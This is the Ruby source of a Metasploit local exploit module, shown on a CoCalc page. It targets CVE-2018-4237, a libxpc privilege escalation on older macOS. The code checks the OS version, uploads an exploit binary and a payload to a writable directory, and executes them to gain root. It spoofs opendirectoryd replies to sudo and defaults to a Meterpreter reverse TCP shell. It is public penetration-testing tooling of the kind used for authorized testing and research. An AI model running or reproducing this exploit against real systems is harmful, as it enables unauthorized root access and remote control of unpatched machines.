CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::OSX::Priv
11
  include Msf::Post::OSX::System
12
  include Msf::Exploit::EXE
13
  include Msf::Exploit::FileDropper
14

15
  def initialize(info = {})
16
    super(update_info(info,
17
      'Name'          => 'Mac OS X libxpc MITM Privilege Escalation',
18
      'Description'   => %q{
19
        This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
20
        The task_set_special_port API allows callers to overwrite their bootstrap port,
21
        which is used to communicate with launchd. This port is inherited across forks:
22
        child processes will use the same bootstrap port as the parent.
23
        By overwriting the bootstrap port and forking a child processes, we can now gain
24
        a MitM position between our child and launchd.
25

26
        To gain root we target the sudo binary and intercept its communication with
27
        opendirectoryd, which is used by sudo to verify credentials. We modify the
28
        replies from opendirectoryd to make it look like our password was valid.
29
      },
30
      'License'       => MSF_LICENSE,
31
      'Author'         => [ 'saelo' ],
32
      'References'     => [
33
          ['CVE', '2018-4237'],
34
          ['URL', 'https://github.com/saelo/pwn2own2018'],
35
        ],
36
      'Arch'           => [ ARCH_X64 ],
37
      'Platform'       => 'osx',
38
      'DefaultTarget'  => 0,
39
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
40
      'Targets'        => [
41
          [ 'Mac OS X x64 (Native Payload)', { } ]
42
        ],
43
      'DisclosureDate' => '2018-03-15'))
44
    register_advanced_options [
45
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
46
    ]
47
  end
48

49
  def upload_executable_file(filepath, filedata)
50
    print_status("Uploading file: '#{filepath}'")
51
    write_file(filepath, filedata)
52
    chmod(filepath)
53
    register_file_for_cleanup(filepath)
54
  end
55

56
  def check
57
    version = Rex::Version.new(get_system_version)
58
    if version >= Rex::Version.new('10.13.4')
59
      CheckCode::Safe
60
    else
61
      CheckCode::Appears
62
    end
63
  end
64

65
  def exploit
66
    if check != CheckCode::Appears
67
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
68
    end
69

70
    if is_root?
71
      fail_with Failure::BadConfig, 'Session already has root privileges'
72
    end
73

74
    unless writable? datastore['WritableDir']
75
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
76
    end
77

78
    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
79
    exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
80
    upload_executable_file(exploit_file, exploit_data)
81
    payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
82
    upload_executable_file(payload_file, generate_payload_exe)
83
    exploit_cmd = "#{exploit_file} #{payload_file}"
84
    print_status("Executing cmd '#{exploit_cmd}'")
85
    cmd_exec(exploit_cmd)
86
  end
87
end
88

89